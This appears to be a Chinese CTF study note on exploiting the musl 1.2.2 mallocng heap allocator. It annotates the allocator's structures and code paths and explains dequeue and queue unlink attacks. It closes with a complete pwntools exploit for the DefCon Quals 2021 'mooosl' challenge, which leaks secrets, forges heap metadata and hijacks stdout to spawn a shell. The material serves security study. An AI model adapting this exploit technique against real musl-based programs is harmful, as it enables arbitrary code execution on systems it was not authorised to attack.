IS-pwn-Linux-musl-1.2.2

musl 1.2.2

1.2.x采用src/malloc/mallocng内的代码,其堆管理结构与早期版本几乎完全不同.

环境准备

基于pwndocker_u20.

源码编译.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cd ~
mkdir source_code
cd source_code
apt-get install -y musl musl-dev curl
curl -LO http://musl.libc.org/releases/musl-1.2.2.tar.gz
tar vxf musl-1.2.2.tar.gz
rm musl-1.2.2.tar.gz
cd musl-1.2.2
mkdir build x64
cd build
CC="gcc" CXX="g++" \
CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error -fno-stack-protector" \
CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error -fno-stack-protector" \
../configure --prefix=/root/source_code/musl-1.2.2/x64 --disable-werror
make -j8
make install

调试插件.

1
2
3
cd ~
git clone https://github.com/xf1les/muslheap.git
echo "source ~/muslheap/muslheap.py" >> ~/.gdbinit

导出.

1
2
sudo docker commit pwndocker pwndocker_musl_1_2_2
sudo docker image save pwndocker_musl_1_2_2 > pwndocker_musl_1_2_2.tar.gz

数据结构

group

1
2
3
4
5
6
7
8
9
#define UNIT 16
struct group {
struct meta *meta;
// 指向对应的meta
unsigned char active_idx : 5;
// 能存下的chunk的数量减一
char pad[UNIT - sizeof(struct meta *) - 1];
unsigned char storage[];
};

group是一些数据区域大小相同的chunk的集合.

group中的第一个chunk就是以该group0x10字节作为元数据,storage部分内存作为数据区域构成.

其余chunk顺序存储在storage中,包括4字节的元数据(实际上只用到3字节),其大致定义如下(不存在实际上的结构体定义).

1
2
3
4
5
6
7
char prev_chunk_data[];
unsigned char active_idx : 5;
// 该chunk是group中第几个chunk
uint16_t offset;
// 与group中第一个chunk的偏移
char the_chunk_data[];
// ...

chunk存在空间复用,例如申请0x2c空间:chunk_size = (0x2c + 4) align to 0x10 = 0x30(4字节作为元数据空间).

如果一个chunk已经被释放,那么就会设置offset0,index0xff.

meta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct meta {
struct meta *prev, *next;
// meta之间以双向链表的形式形成一个队列结构
struct group *mem;
// 一个meta对应一个group
volatile int avail_mask, freed_mask;
// avail_mask是目前可用的bitmap,4字节
// freed_mask是已经被释放的chunk的bitmap,4字节
// 由于bitmap的限制,一个group中最多只能有32个chunk
uintptr_t last_idx:5;
// 最多可用堆块的数量减1
uintptr_t freeable:1;
// 该meta是否可以被回收
uintptr_t sizeclass:6;
// 该meta的group管理的chunk的大小
uintptr_t maplen:8*sizeof(uintptr_t)-12;
// 若maplen>0,表示该meta的group是新mmap出来的
// maplen为mmap的内存大小
// 若maplen=0,表示该meta的group管理的chunk的大小属于size_classes
};

meta可以是brk分配的,可以是mmap映射的,但是group只能是mmap映射的,groupmeta是一一对应的.

meta_area

1
2
3
4
5
6
7
8
9
10
struct meta_area {
uint64_t check;
// 校验值
struct meta_area *next;
// 下一个分配区
int nslots;
// meta数量
struct meta slots[];
// 该meta_area的meta数组
};

meta_area用于管理meta,mallocng分配meta时,总是先分配一页的内存,meta_arena位于这一页内存的开头.

由于meta_arena位于这一页内存的开头,可以清空meta指针的低12bit找到其所属的meta_arena,通过检测meta_arenacheckmalloc_context中的secret是否一致来判断该meta是否有效.

malloc_context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct malloc_context {
uint64_t secret;
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done;
// 是否初始化
unsigned mmap_counter;
// mmap内存总数
struct meta *free_meta_head;
// 已释放的meta的链表
struct meta *avail_meta;
// 指向可用的meta的数组
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail;
// 分配区头尾指针
unsigned char *avail_meta_areas;
struct meta *active[48];
// 正活动的meta
size_t usage_by_class[48];
// 记录各种类型使用了多少内存
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};

struct malloc_context ctx = { 0 };

musl使用malloc_context来进行总的堆管理.

内存分配流程

chunk按照内存先后,依次分配,被free掉的chunk会先进入freed_mask,只有当avail_mask耗尽时才会使用freed_mask中的.

malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
void *malloc(size_t n) {
if (size_overflows(n))
// 限制能申请的最大size
return 0;
struct meta *g;
uint32_t mask, first;
int sc;
int idx;
int ctr;
if (n >= MMAP_THRESHOLD) {
// 大于阈值,使用mmap分配内存
size_t needed = n + IB + UNIT;
// 新mmap的group空间
void *p = mmap(0, needed, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
if (p == MAP_FAILED) return 0;
wrlock();
step_seq();
g = alloc_meta();
// 获取一个meta
if (!g) {
unlock();
munmap(p, needed);
return 0;
}
g->mem = p;
g->mem->meta = g;
g->last_idx = 0;
g->freeable = 1;
g->sizeclass = 63;
// 63表示属于mmap的内存
g->maplen = (needed + 4095) / 4096;
// mmap出来的内存大小
g->avail_mask = g->freed_mask = 0;
ctx.mmap_counter++;
idx = 0;
goto success;
}
sc = size_to_class(n);
// 根据传入size计算sizeclass
rdlock();
g = ctx.active[sc];
// 根据sizeclass找到对应的meta
if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1) && !ctx.usage_by_class[sc]) {
// 如果不存在对应的meta
// 使用更大的sc中的meta
size_t usage = ctx.usage_by_class[sc|1];
if (!ctx.active[sc|1] || (!ctx.active[sc|1]->avail_mask && !ctx.active[sc|1]->freed_mask))
usage += 3;
if (usage <= 12)
sc |= 1;
g = ctx.active[sc];
}
// 在此meta中寻找对应chunk
for (;;) {
mask = g ? g->avail_mask : 0;
// meta中的可用内存的bitmap,如果g为0那么就设为0,表示没有可用chunk
first = mask&-mask;
// 从meta的avail中循环寻找合适的chunk
if (!first) break;
if (RDLOCK_IS_EXCLUSIVE || !MT)
g->avail_mask = mask-first;
else if (a_cas(&g->avail_mask, mask, mask-first)!=mask)
// 成功找到后,设置avail_mask并continue,下一次循环会进行下一语句
continue;
// 找到后确定idx并准备返回内存
idx = a_ctz_32(first);
goto success;
}
upgradelock();
// 没有找到,尝试从别的地方获取
// 使用group中被free的chunk
// 从队列中其他meta的group中找
// 如果都不行就重新分配一个新的group,对应一个新的meta
idx = alloc_slot(sc, n);
if (idx < 0) {
unlock();
return 0;
}
g = ctx.active[sc];
success:
ctr = ctx.mmap_counter;
unlock();
// 从g中分配第idx个chunk,大小为n
return enframe(g, idx, n, ctr);
}

alloc_slot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static int alloc_slot(int sc, size_t req) {
uint32_t first = try_avail(&ctx.active[sc]);
// 尝试从active[sc]队列内部分配chunk
if (first)
// 分配成功
return a_ctz_32(first);
struct meta *g = alloc_group(sc, req);
// 分配失败,为这个sc分配一个新的group
if (!g) return -1;
// 全部可用
g->avail_mask--;
queue(&ctx.active[sc], g);
// 新分配的group入队列
return 0;
}

try_avail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
static uint32_t try_avail(struct meta **pm) {
struct meta *m = *pm;
uint32_t first;
if (!m) return 0;
uint32_t mask = m->avail_mask;
// 再次尝试从avail_mask分配
if (!mask) {
// 如果avail中没有可用的,有可能其他线程释放了chunk
if (!m) return 0;
if (!m->freed_mask) {
// 如果freed_mask也为空,说明chunk都被使用
dequeue(pm, m);
// 从队列中删除m
m = *pm;
if (!m) return 0;
} else {
// 无avail,但有已经释放的chunk
m = m->next;
// 替换下一个meta作为active的meta
*pm = m;
}
mask = m->freed_mask;
if (mask == (2u<<m->last_idx)-1 && m->freeable) {
m = m->next;
*pm = m;
mask = m->freed_mask;
}
if (!(mask & ((2u<<m->mem->active_idx)-1))) {
// 如果这个group中有free的chunk,但是不满足avtive_idx的要求
if (m->next != m) {
// 如果meta后面还有meta,那么就切换到后一个meta
// 由于avail与free都为0的group已经在上一步出队了,因此后一个group一定有满足要求的chunk
m = m->next;
*pm = m;
} else {
int cnt = m->mem->active_idx + 2;
int size = size_classes[m->sizeclass]*UNIT;
int span = UNIT + size*cnt;
while ((span^(span+size-1)) < 4096) {
cnt++;
span += size;
}
if (cnt > m->last_idx+1)
cnt = m->last_idx+1;
m->mem->active_idx = cnt-1;
}
}
// 激活这个group,把free的chunk转移到avail中
mask = activate_group(m);
// 由于group中freed_mask非空,因此一定会找到可用的chunk,所以返回的avail_mask一定非0
assert(mask);
decay_bounces(m->sizeclass);
}
// 经过上面的操作,已经使得m的group中有可用的mask,因此取出就好
first = mask&-mask;
m->avail_mask = mask-first;
return first;
}

alloc_meta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
struct meta *alloc_meta(void) {
struct meta *m;
unsigned char *p;
if (!ctx.init_done) {
// 如果还没初始化
#ifndef PAGESIZE
ctx.pagesize = get_page_size();
#endif
// 设置secret为随机数
ctx.secret = get_random_secret();
ctx.init_done = 1;
}
// 设置pagesize
size_t pagesize = PGSZ;
if (pagesize < 4096) pagesize = 4096;
// 如果能从空闲meta队列free_meta_head中得到一个meta,就可直接返回
if ((m = dequeue_head(&ctx.free_meta_head))) return m;
// 如果没有空闲的,并且ctx中也没有可用的,就通过mmap映射一页作为meta数组
if (!ctx.avail_meta_count) {
int need_unprotect = 1;
if (!ctx.avail_meta_area_count && ctx.brk!=-1) {
// 如果ctx中没有可用的meta,并且brk不为-1
uintptr_t new = ctx.brk + pagesize;
int need_guard = 0;
if (!ctx.brk) {
// 如果brk为0
need_guard = 1;
// 调用brk获取当前的heap地址
ctx.brk = brk(0);
ctx.brk += -ctx.brk & (pagesize-1);
new = ctx.brk + 2*pagesize;
}
if (brk(new) != new) {
// brk分配heap到new失败
ctx.brk = -1;
} else {
if (need_guard)
// 在brk后面映射一个不可用的页(PROT_NONE),如果堆溢出到这里就会发送SIGV
mmap((void *)ctx.brk, pagesize, PROT_NONE, MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0);
ctx.brk = new;
// 把这一页全划分为meta
ctx.avail_meta_areas = (void *)(new - pagesize);
ctx.avail_meta_area_count = pagesize>>12;
need_unprotect = 0;
}
}
if (!ctx.avail_meta_area_count) {
// 直接mmap匿名映射一片PROT_NONE的内存再划分
size_t n = 2UL << ctx.meta_alloc_shift;
p = mmap(0, n*pagesize, PROT_NONE, MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) return 0;
ctx.avail_meta_areas = p + pagesize;
ctx.avail_meta_area_count = (n-1)*(pagesize>>12);
ctx.meta_alloc_shift++;
}
p = ctx.avail_meta_areas;
// 如果avail_meta_areas与页对齐,说明这片区域是刚刚申请的,需要修改内存的权限
if ((uintptr_t)p & (pagesize-1)) need_unprotect = 0;
if (need_unprotect)
if (mprotect(p, pagesize, PROT_READ|PROT_WRITE) && errno != ENOSYS)
return 0;
ctx.avail_meta_area_count--;
ctx.avail_meta_areas = p + 4096;
if (ctx.meta_area_tail) {
ctx.meta_area_tail->next = (void *)p;
} else {
ctx.meta_area_head = (void *)p;
}
// ctx中记录下相关信息
ctx.meta_area_tail = (void *)p;
ctx.meta_area_tail->check = ctx.secret;
ctx.avail_meta_count = ctx.meta_area_tail->nslots = (4096-sizeof(struct meta_area))/sizeof *m;
ctx.avail_meta = ctx.meta_area_tail->slots;
}
// ctx的可用meta数组中有能用的,就直接分配一个出来
ctx.avail_meta_count--;
// 取出一个meta
m = ctx.avail_meta++;
m->prev = m->next = 0;
return m;
}

内存释放流程

free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
void free(void *p) {
if (!p) return;
struct meta *g = get_meta(p);
// 找到chunk对应的meta
int idx = get_slot_index(p);
size_t stride = get_stride(g);
// 这个group负责的大小
unsigned char *start = g->mem->storage + stride*idx;
// 该chunk开始地址
unsigned char *end = start + stride - IB;
// 该chunk结束地址
get_nominal_size(p, end);
// 算出数据区域大小
uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1;
// 设置bitmap
((unsigned char *)p)[-3] = 255;
*(uint16_t *)((char *)p-2) = 0;
// 重置idx与offset
if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) {
// 释放slot中的一整页
unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1));
size_t len = (end-base) & -PGSZ;
if (len) madvise(base, len, MADV_FREE);
}
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
uint32_t mask = freed | avail;
assert(!(mask&self));
// 要释放的chunk应该既不在freed中,也不在avail中
if (!freed || mask+self==all)
// 如果!freed,说明meta中没有被释放的chunk,有可能这个group全部被分配出去了,从而被弹出avtive队列,现在释放了一个其中的chunk,需要条用nontrivial_free把这个group重新加入avtive队列
// 如果mask+self==all,说明释放这个chunk后这个group中所有的chunk都未被使用,需要调用nontrivial_free回收这个group
break;
if (!MT)
g->freed_mask = freed+self;
// 在meta->freed_mask中标记一下,表示这个chunk已经被释放了
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)
// 多线程使用原子操作标记
continue;
return;
}
wrlock();
struct mapinfo mi = nontrivial_free(g, idx);
// nontrivial_free处理涉及到meta之间的操作
unlock();
if (mi.len) munmap(mi.base, mi.len);
}

get_meta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static inline struct meta *get_meta(const unsigned char *p) {
assert(!((uintptr_t)p & 15));
int offset = *(const uint16_t *)(p - 2);
// 获取chunk的offset
int index = get_slot_index(p);
// 获取chunk的idx
if (p[-4]) {
assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset > 0xffff);
}
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
// 根据offset获取group地址
const struct meta *meta = base->meta;
// 通过group中指针获得meta
assert(meta->mem == base);
assert(index <= meta->last_idx);
assert(!(meta->avail_mask & (1u<<index)));
assert(!(meta->freed_mask & (1u<<index)));
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
// 通过meta对齐页地址获得meta_area
assert(area->check == ctx.secret);
if (meta->sizeclass < 48) {
assert(offset >= size_classes[meta->sizeclass]*index);
assert(offset < size_classes[meta->sizeclass]*(index+1));
} else {
assert(meta->sizeclass == 63);
}
if (meta->maplen) {
assert(offset <= meta->maplen*4096UL/UNIT - 1);
}
return (struct meta *)meta;
}

nontrivial_free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static struct mapinfo nontrivial_free(struct meta *g, int i) {
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
// group中所有的chunk要么都被free,要么都是可用的,那么就会回收掉这个group
// okay_to_free检测是否可以被释放
if (g->next) {
// 如果队列中有下一个meta
assert(sc < 48);
// 检测sc,这里不能是mmap分配的
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);
// 当前meta出队
if (activate_new && ctx.active[sc])
// 如果当前meta是active meta,激活该meta的下一个meta并修改其avail_mask标志位
activate_group(ctx.active[sc]);
}
return free_group(g);
} else if (!mask) {
assert(sc < 48);
if (ctx.active[sc] != g) {
// 如果当前meta已经被弹出队列,调用queue再次入队
queue(&ctx.active[sc], g);
}
}
// 修改freed_mask标志,表示着对应的chunk已被释放
a_or(&g->freed_mask, self);
return (struct mapinfo){ 0 };
}

okay_to_free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static int okay_to_free(struct meta *g) {
int sc = g->sizeclass;
if (!g->freeable) return 0;
if (sc >= 48 || get_stride(g) < UNIT*size_classes[sc])
return 1;
if (!g->maplen) return 1;
if (g->next != g) return 1;
if (!is_bouncing(sc)) return 1;
size_t cnt = g->last_idx+1;
size_t usage = ctx.usage_by_class[sc];
if (9*cnt <= usage && cnt < 20)
return 1;
return 0;
}

利用思路

dequeue attack

mallocng防御堆溢出的方法是meta与分配chunkgroup在地址上分离,并且在meta所在页的前后设置一个NON_PROTguard page,来防止发生在group上的堆溢出影响到meta.

dequeue操作中并没有对metaprevnext指针进行检查,属于unsafe unlink.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 在phead指向的meta队列删除m节点
static inline void dequeue(struct meta **phead, struct meta *m) {
if (m->next != m) {
m->prev->next = m->next;
// *(fake_prev + 8) = fake_next
m->next->prev = m->prev;
// *(fake_next + 0) = fake_prev
if (*phead == m)
*phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}

可以完成一次任意地址写.

free触发流程.

  • 可以溢出一个chunk,伪造offsetnext,使其指向伪造的group.
  • 然后伪造group中的meta指针,使其指向伪造的meta(需要泄露secret).
  • 然后伪造meta中的prev,next指针,并且伪造freed_maskavail_mask,满足freed_mask|avail_mask+self == (2u<<g->last_idx)-1 && okay_to_free(g).
  • 就会调用:free -> nontrivial_free -> dequeue.
  • avail_mask表示只有一个chunk未被使用,freed_mask0,而free函数刚好要free最后那个chunk,然后满足okay_to_free条件即可.
  • avail_mask0,freed_mask表示只有一个chunk未被释放,而free函数刚好要free最后那个chunk,然后满足okay_to_free条件即可.

malloc触发流程:malloc -> alloc_slot -> try_avail -> dequeue.

queue attack

queue操作中并没有过多检查,可以将fake meta置入active meta队列.

1
2
3
4
5
6
7
8
9
10
11
12
13
static inline void queue(struct meta **phead, struct meta *m) {
assert(!m->next);
assert(!m->prev);
if (*phead) {
struct meta *head = *phead;
m->next = head;
m->prev = head->prev;
m->next->prev = m->prev->next = m;
} else {
m->prev = m->next = m;
*phead = m;
}
}

free触发流程.

  • 可以溢出一个chunk,伪造offsetnext,使其指向伪造的group.
  • 然后伪造group中的meta指针,使其指向伪造的meta(需要泄露secret).
  • 然后伪造meta中的prev,next指针,并且伪造freed_maskavail_mask都为0.
  • 调用链:free -> nontrivial_free -> queue.

musl FSOP

1.1.24基本无变化.

DefCon-Quals-2021-mooosl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
from pwn import *
import random
import string

context.terminal = ["tmux", "splitw", "-h"]
context.aslr = False

def store(key_size, key_content, value_size, value_content):
r.sendlineafter("option: ", "1")
r.sendlineafter("size: ", str(key_size))
r.sendafter("content: ", key_content)
r.sendlineafter("size: ", str(value_size))
r.sendafter("content: ", value_content)

def query(key_size, key_content):
r.sendlineafter("option: ", "2")
r.sendlineafter("size: ", str(key_size))
r.sendafter("content: ", key_content)

def delete(key_size, key_content):
r.sendlineafter("option: ", "3")
r.sendlineafter("size: ", str(key_size))
r.sendafter("content: ", key_content)

def get_hash(content):
x = 0x7e5
for c in content:
x = ord(c) + x * 0x13377331
return x & 0xfff

def find_key(key, length = 0x10):
while True:
x = "".join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
if get_hash(x) == key:
return x


r = process("./mooosl")
libc = ELF("/root/source_code/musl-1.2.2/x64/lib/libc.so")

#################### make uaf and leak

store(4, "aa12", 0x30, "a" * 0x30)
# 0x40:AAAAAAU
for _ in range(5):
query(0x30, "a" * 0x30)
# 0x40:AFFFFFU
store(1, "\n", 0x30, "a" * 0x30)
# 0x40:UAAAAUU
# the ptr => 0x4040 + 0x7e5 * 8 = 0x7f68
x = find_key(0x7e5)
store(len(x), x, 1, "a")
# 0x40:UAAAUUU
delete(1, "\n")
# 0x40:[F]AAAUFU
# [] => uaf manage chunk
# 0x40:FAAAU[F]U
# [] => uaf value chunk
for _ in range(3):
query(0x30, "a" * 0x30)
# 0x40:FFFFUFU
store(0x1200, "a\n", 0x70, "a\n")
# 0x40:AAAAUUU
query(1, "\n")
# leak uaf value chunk
# 0x40:AAAAU[U]U
r.recvuntil("0x30:")
for i in range(8):
libc.address = libc.address + int(r.recv(2), 16) * (0x100 ** i)
libc.address = libc.address + 0x1555554af000 - 0x1555554a6020
print("libc.address: " + hex(libc.address))
heap = 0
for i in range(8):
heap = heap + int(r.recv(2), 16) * (0x100 ** i)
heap = heap + 0x555555559000 - 0x555555560f50
print("heap: " + hex(heap))

for _ in range(3):
query(0x30, "a" * 0x30)
# 0x40:AFFFUUU
query(0x30, p64(0) + p64(heap + 0x9000) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
# overwrite manage chunk
# 0x40:FFFFUUU
query(1, "\n")
r.recvuntil("0x20:")
secret = 0
for i in range(8):
secret = secret + int(r.recv(2), 16) * (0x100 ** i)
print("secret: " + hex(secret))

#################### some symbols

fake_meta_addr = libc.address - 0x6ff0
fake_mem_addr = fake_meta_addr + 0x30
stdout = libc.address + 0xa32e0

#################### overwrite stdout-0x10 to fake_meta_addr using dequeue during free

sc = 8
# 0x90
freeable = 1
last_idx = 0
maplen = 1
fake_meta = b""
fake_meta += p64(stdout - 0x18) # prev
fake_meta += p64(fake_meta_addr + 0x30) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)

fake_mem = b""
fake_mem += p64(fake_meta_addr) # meta
fake_mem += p32(1) # active_idx
fake_mem += p32(0)

payload = b""
payload += b"A" * 0xaa0
payload += p64(secret) + p64(0)
payload += fake_meta
payload += fake_mem
payload += b"\n"

query(0x30, "a" * 0x30)
query(0x30, "a" * 0x30)
# 0x40:AAFFUUU
store(3, "abc", 0x30, p64(0) + p64(fake_mem_addr + 0x10) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
# overwrite manage chunk
# 0x40:UUFFUUU
query(0x1200, payload)
delete(1, "\n")
# 0x40:FUFFUUU

#################### create a fake meta using enqueue during free

sc = 8
# 0x90
last_idx = 1
fake_meta = b""
fake_meta += p64(0) + p64(0)
# prev, next
fake_meta += p64(fake_mem_addr)
# mem
fake_meta += p32(0) + p32(0)
# avail_mask, freed_mask
fake_meta += p64((sc << 6) | last_idx)
fake_meta += p64(0)

fake_mem = b""
fake_mem += p64(fake_meta_addr)
# meta
fake_mem += p32(1)
# active_idx
fake_mem += p32(0)

payload = b""
payload += b"a" * 0xa90
payload += p64(secret) + p64(0)
payload += fake_meta
payload += fake_mem
payload += b"\n"

query(0x30, "a" * 0x30)
# 0x40:AUAFUUU
store(3, "abc", 0x30, p64(0) + p64(fake_mem_addr + 0x10) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
# overwrite manage chunk
# 0x40:UUUFUUU
query(0x1200, payload)
delete(1, "\n")
# 0x40:FUUFUUU

#################### overwrite the fake_meta

fake_meta = b""
fake_meta += p64(fake_meta_addr) + p64(fake_meta_addr)
# prev, next
fake_meta += p64(stdout - 0x10)
# mem
fake_meta += p32(1) + p32(0)
# avail_mask, freed_mask
fake_meta += p64((sc << 6) | last_idx)
fake_meta += b"A" * 0x18
fake_meta += p64(stdout - 0x10)

payload = b""
payload += b"a" * 0xa80
payload += p64(secret) + p64(0)
payload += fake_meta
payload += b"\n"

query(0x1200, payload)

#################### malloc from fake_meta's mem to overwrite stdout

payload = b""
payload += b"/bin/sh\0"
payload += b"a" * 0x20
payload += p64(heap + 1)
payload += b"a" * 8
payload += p64(heap)
payload += b"a" * 8
payload += p64(libc.symbols["system"])
payload += b"a" * 0x3c
payload += p32((1 << 32) - 1)
payload += b"\n"

r.sendlineafter("option: ", "1")
r.sendlineafter("size: ", str(1))
r.sendafter("content: ", "a")
r.sendlineafter("size: ", str(0x80))
r.send(payload)

# gdb.attach(r)

r.interactive()
0%
;